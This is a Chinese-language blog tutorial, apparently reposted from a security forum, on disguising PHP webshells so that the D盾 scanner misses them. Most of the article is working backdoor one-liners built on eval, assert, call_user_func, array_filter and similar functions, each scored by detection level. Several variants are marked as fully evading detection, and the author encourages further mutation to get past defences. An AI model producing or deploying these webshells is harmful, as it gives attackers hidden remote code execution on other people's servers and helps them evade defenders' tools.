webshell变形记之一

admin 2022年4月23日02:35:32SecIN安全技术社区webshell变形记之一已关闭评论55 views6476字阅读21分35秒阅读模式

/*
Author:vFREE
Time:2022年03月04日
count:8598词
website:http://www.vfree.ltd/
website2:http://ctf.vfree.ltd/
最后更新时间:2022/3/5
*/

webshell变形

常见的webshell后门函数:eval,assert,exec,shell_exec,passthru,popen等等等等好多好多函数,但是目前很多安全产品已经对webshell检测很敏感,常见的webshell木马已经无法直接过掉waf之类的,此文以D盾作为一个检测的介质,测试webshell在不断变化下被检测出来的级别有多高

eval

用于执行php代码,使用这个函数要用分号结束传入的代码,其次要注意的是,eval是一个语言构造器,不是一个函数,所以eval不支持被可变函数调用

可变函数:通过一个变量,获取其对应的变量值,然后给该变量值添加一个括号(),系统就会认为这是一个函数,比如

<?php
$a = 'eval';
$a(phpinfo());
//这种写法是错误的,因为eval不可以被可变函数调用
//PHP Parse error: syntax error, unexpected ';', expecting '(' in /usercode/file.php on line 2
?>

最基础的一句话

<?php @eval($_POST['vfree']);?>
//最基础也是最容易被查杀的,D盾秒检查出来,所以如果在上传webshell到别的服务器不被检测出来,这个不建议用,除非没有什么检测机制或者waf

变形一

使用变量覆盖和反引号加注释内容降低D盾级别

  • 级别:2
  • 说明:可疑文件
  • 时间:2022/3/4

可见,级别已经从最级别5降低至级别2,说明只是可疑文件,并没有发现是eval后门

<?php
$a = 'hahaha';
$$a = $_GET['a'];
eval(`/**123**/`.$hahaha);
?>

assert

和eval一样,都是执行php代码,但是灵活性比eval好多了,assert支持被可变函数调用,所以在后面的绕过中,都是围绕着assert来进行变形,但是在PHP7后,assert被取消了,也就是说assert只能在php版本小于7的环境下使用,做测试时,可以使用PHP5.5.9测试

基础的assert一句话,和eval一样,都是级别5的后门webshell,但是如果把post换成get的话,就变成级别4了,但是也是可以一眼被识别出来,所以GET/POST都一样

<?php assert($_POST['vfree']);?>

变形一

使用变量拼接的方式,进行变化

  • 级别:4
  • 说明:变量函数后门
  • 时间:2022/3/4

虽然进行了变形,但是还是被检测出来了4级,这个变形也是比较鸡肋,所以可以配合其他的php函数进行变形

<?php
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$c($_GET['vfree']);
?>

字符变形

字符串拼接

使用.拼接函数

<?php
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a(phpinfo());
?>

  • 级别:2
  • 说明:可疑变量函数
  • 时间:2022/3/4

str_replace

匹配字符串进行替换

<?php
assert(str_replace('xxxx','info','phpxxxx()'));
?>

  • 级别:1
  • 说明:assert
  • 时间:2022/3/4

substr_replace()

字符串替换,和str_replace不同的是,substr_replace是根据字符位置进行替换

<?php
$a = substr_replace('assxxx', 'ert', 3);
$a('phpinfo()');
?>

  • 级别:1
  • 说明:变量函数$a
  • 时间:2022/3/4

substr

截取字符串

<?php
assert(substr('123123qweqwephpinfo()123123123123123',12,9));
assert(str_replace('xxx','put',"file_xxx_contents('phpinfo.php','<?php phpinfo();?>')"));
?>

  • 级别:1
  • 说明:assert
  • 时间:2022/3/4

strtolower

将字符串转换成小写

<?php
$a = 'ASSERT';
$b = strtolower($a);
$b($_GET['vfree']);
?>

  • 级别:4
  • 说明:assert
  • 时间:2022/3/4

preg_replace

preg_replace是一个正则表达式替换字符串的函数,其中提供了很多模式给用户使用,比如\i就是不区分大小写,/m则是多行匹配,/e无限制传参...

其中/e非常危险,使用不当会被执行命令,/e在匹配到第一个符合的字符后,会先执行后面的内容,然后再继续匹配,据说是在PHP5.5后的版本就被弃用了,经过测试,是PHP7之后的版本启用

<?php
preg_replace('/\d/e', 'phpinfo()', '123');
//第一个参数定义了匹配数字
//第二个参数定义了匹配到数字后会被替换成phpinfo()
//第三个参数要被匹配的数字
?>

  • 级别:0
  • 说明:直接免杀!!!
  • 时间:2022/3/4

mb_eregi_replace()

和preg_replace差不多

<?php
mb_eregi_replace('asd', 'phpinfo()', 'asd','e');
?>

  • 级别:0
  • 说明:直接免杀!!!
  • 时间:2022/3/4

preg_filter()

和preg_replace差不多

<?php
preg_filter('/\d/e', 'phpinfo()', '1');
?>

  • 级别:0
  • 说明:直接免杀!!!
  • 时间:2022/3/4

trim

去除空格

<?php
$a = trim('                             assert                     ');
$a('phpinfo()');
?>

  • 级别:2
  • 说明:可疑变量函数(assert)
  • 时间:2022/3/4

编码变形

str_rot13()

将字符串转换成rot13编码,也可以将rot13字符串转回字符串

<?php
$a = str_rot13('nffreg');
$b = str_rot13('cucvasb()');
$a($b);
?>

  • 级别:4
  • 说明:可疑可变函数(assert)
  • 时间:2022/3/4

base64_decode()

将base64编码后的字符串转换成普通字符串,注意,base64_decode不会对下划线做处理,默认去除,base64_encode会处理下划线

<?php
$a = base64_decode('YXNzZXJ____________0');
$a('phpinfo()');
?>

  • 级别:2
  • 说明:可疑可变函数(assert)
  • 时间:2022/3/4

chr

将ASCII码转换成字符

<?php
$a = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
$b = chr(113-1).chr(105-1).chr(113-1).chr(106-1).chr(111-1).chr(103-1).chr(112-1);
$a($b());
?>

  • 级别:2
  • 说明:可疑可变函数(assert)
  • 时间:2022/3/4

数组绕过

array_walk()

传递数组到某一个函数中,array_walk属于回调函数的一种,将键值传入到函数中,函数名要用引号引起来

array_walk(array, funcname)

<?php
$a = array('phpinfo()');
array_walk($a,'assert');
?>

  • 级别:2
  • 说明:可疑参数(assert)和可疑的array_walk
  • 时间:2022/3/5

当然,也可以自定义函数,然后使用array_walk传入键值对,有个点要注意一下,就是如果使用自己的数组的话,传进去函数要在函数头定义好两个变量,其次就是第一个变量是数组的键值,第二个变量是键名,比如:

```
<?php
function func($value,$key){
   echo '键值=$value='.$value.PHP_EOL;
   echo '键名=$key='.$key.PHP_EOL;
}
$arr = array('A'=>'a');
array_walk($arr,'func');

/*
输出:
键值=$value=a
键名=$key=A


所以在传数组时要注意,函数的形参(即函数后面的变量)是先键值再键名,如果还是有不理解可以做实验进一步理解~
*/
?>
```

由此延伸一下

<?php
function fun($value,$key){
   $value($key);
}
$arr = array('phpinfo()'=>base64_decode('YXNzZ___XJ0'));
array_walk($arr, fun);
?>

  • 级别:2
  • 说明:可疑变量和可疑array_walk
  • 时间:2022/3/5

array_map()

array_map函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,array_map也是回调函数

array_map(callback, arr1,arr2...)

```
<?php
function func($value){
   if($value == 'vFREE'){
       return 'vFREE is so handsome';
  }else{
       return $value;
  }
}
$name = array('name1'=>'vfree','name2'=>'Vfree','name3'=>'vFREE','name4'=>'VfrEE');
print_r(array_map('func',$name));

/*
输出:
Array
(
   [name1] => vfree
   [name2] => Vfree
   [name3] => vFREE is so handsome
   [name4] => VfrEE
)


大概的意思就是,使用array_map将输出传进函数中,然后执行函数的内容后,返回一个新的数组,如上源码所示,传进去一个数组,然后使用if判断是否又键值等于vFREE,有的话就return一个新的值,没有的话就返回刚开始传进来的值,return的值会覆盖掉原来的键值,vFREE就会变成vFREE is so handsome,至此,返回的新数组的name3就会变成vFREE is so handsome
*/
?>
 
```

衍生出

<?php
function func($value){
   if($value == 'php'){
       return 'phpinfo()';
  }else{
       return $value;
  }
}
$a = array('1',2,3,4,'php');
$b = array_map('func',$a)[4];
assert($b);

  • 级别:2
  • 说明:可疑array_map
  • 时间:2022/3/5

<?php
$a = array(1,2,3,4,'assert');
$b = array(1,2,3,4,'phpinfo()');
$c = array_map(null,$a,$b)[4][0];
$d = array_map(null,$a,$b)[4][1];
$c($d);

  • 级别:2
  • 说明:可疑核变量函数$c($b)和可疑array_map和关键字assert
  • 时间:2022/3/5

array_filter()

将函数传入到指定的函数中,如果自定义的函数中返回了true,则包含该值且返回一个新的数组,如果返回了false的话,就不会返回新值,执行完后最终会返回一个新的数组,由于array_filter有回调函数的特性,所以多多少少也属于回调函数的一种

array_filter(arr1,funcname)

```
<?php
function func($value){
   if(is_numeric($value)){ //判断如果是数字的话,就返回false
       return false;
  }else{
       return true;
  }
}
$arr = array(1,2,3,4,5,6,7,8,'vFREE');
print_r(array_filter($arr,'func'));

/*
输出:
Array
(
   [8] => vFREE
)


如果是返回false的话,该值就不会被包含在最终返回的新数组中,只有true才会被包含在最终返回的新数组中
*/
```

延申:

<?php
function func($value){
   if(is_numeric($value)){
       return false;
  }else{
       return true;
  }
}
$arr = array(1,2,3,4,5,6,7,8,'phpinfo()');
$a = array_filter($arr,'func');
print_r(assert($a[8]));

  • 级别:1
  • 说明:内藏assert后门
  • 时间:2022/3/5

再简短一点,虽然很简短,但是直接就被查出是后门了!!!

<?php
array_filter(array($_POST["vfree"]),'assert');

  • 级别:5
  • 说明:array_filter后门
  • 时间:2022/3/5

array_reduce()

发送数组中的值给用户自定义函数,并返回字符串(没看明白这个,可以自行百度百度~)

<?php
function a($key,$value){
   $key($value);
}
$arr = array('phpinfo()');
echo array_reduce($arr,'a','assert');
?>

  • 级别:2
  • 说明:可疑变量$key($value)和关键字assert
  • 时间:2022/3/5

回调函数

除了上面几种回调函数,这里在介绍一下另外两种回调函数

call_user_func()

将用户自定义的参数传到自定义函数

<?php
call_user_func('assert',$_GET['vfree']);
?>

  • 级别:5
  • 说明:已知后门call_user_fun后门
  • 时间:2022/3/5

call_user_func_array()

将用户自定义的数组传到自定义函数

<?php
call_user_func_array('assert',array($_GET['vfree']));
?>

  • 级别:4
  • 说明:可疑变量$key($value)和关键字assert
  • 时间:2022/3/5

自定义回调函数

有时候不一定要用官方预定义的函数,可以自己写函数,给出一个例子

<?php
   //变形assert,并且接受一个$value值,然后带入assert执行
function func1($value){
   $fun1 = 'ass';
   $fun2 = 'ert';
   $fun3 = $fun1.$fun2;
   return $fun3($value);
}
//接收一个$a的值,收到值后调用func1把$a的值带过去
function func2($a){
   func1($a);
}
func2($_GET['vfree']);
?>

  • 级别:0
  • 说明:直接免杀!!!
  • 时间:2022/3/5

总结

总结一

上面介绍的部分方法中,虽然都会被D盾检测出来,但是有几个特别的函数和写法都不会被检测出来,即便检测出来了,读者依然可以通过不断变化变形对应的字符或者函数从而达到绕过的效果,机器是不灵活的,但是人是灵活的,本文仅介绍了用字符函数进行变形的webshell,后面要是发现新姿势还是会不断更新,对本文有疑问,可以提出来哈~

总结二

在我做这些实验时,发现可以正常执行,但是用蚁剑是连不上的,也没去深究这个问题,虽然连不上shell,但是可以通过构造php函数再写入其他的内容,比如file_put_contents

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:35:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  webshell变形记之一 https://cn-sec.com/archives/916922.html